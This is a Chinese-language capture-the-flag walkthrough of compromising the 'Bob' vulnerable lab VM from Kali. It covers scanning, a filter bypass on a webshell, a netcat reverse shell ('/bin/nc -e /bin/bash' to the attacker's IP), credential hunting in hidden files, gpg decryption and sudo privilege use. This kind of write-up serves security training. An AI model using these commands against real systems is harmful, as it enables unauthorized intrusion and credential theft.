首先准备两台虚拟机,1Kali 2Bob靶机,并将它们都接到同一虚拟网卡上。
一、设备扫描
使用扫描工具nmap
nmap -sP 192.168.119.12/24 --------------扫描此网段存活的设备
发现192.168.119.126
nmap -A 192.168.119.126 -p- -oN nmap192.168.119.126 -----------收集目标主机的全部信息
发现其开着http服务(80端口)和ssh服务(25468端口 原始为22 说明被人为修改)
二、打开目标主机http网页,寻找有用信息
发现目标网页是一个学校的网页,学校新闻中提到上周被黑客攻击,现已禁止外部登录
除此之外无其它有用信息
三、网站信息收集
nikto -h http:192.168.119.129
除服务器基本信息外,意外发现三个隐藏目录,下一步尝试访问。
打开/password.html发现是Bob留给我们的挑衅的话!!!
接下来尝试访问webshell,发现uname可以访问,ls不能访问,说明其对输入进行了过滤
四、尝试绕过过滤机制
配置代理,使用burpsuit抓包。
将ls改为/bin/ls 绕过检测 得到目录结构
发现dev_shell.php.back文件,可能是webshell的备份文件
访问dev_shell.php.bak,下载到本地
打开后发现确实拥有黑名单
五、反弹shell
kali:nc -lvvp 8888
靶机(burpsuit上操作):/bin/nc -e /bin/bash 192.168.119.128 8888
可以执行命令,拿到id=33的系统用户权限
python 调用交互式bash
python -c "import pty; pty.spawn('/bin/bash')"
进入服务器根目录,发现flag.txt!!!!!
cat一下发现没有权限
ls -l 查看权限,发现只有root用户有读权限
接下来想找root权限,首先进入etc/,打开passwd文件,发现bob用户
到bob家目录看一下
ls -a发现隐藏文件old_passwordfile.html
cat一下
找到jc的账号和密码(但通过登录jc账号发现其没有读flag.txt的权限)
接着查看bob家目录其他文件,进入Documents之后一路cd下去,发现一串密码,藏头诗!
用密码打开Documents文件下的login.txt.gpg
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
发现系统用户无法打开
登录之前找到的jc账号 解开文件 得到bob密码
登录bob账号,
发现有sudo权限,
sudo cat flag.txt 得到flag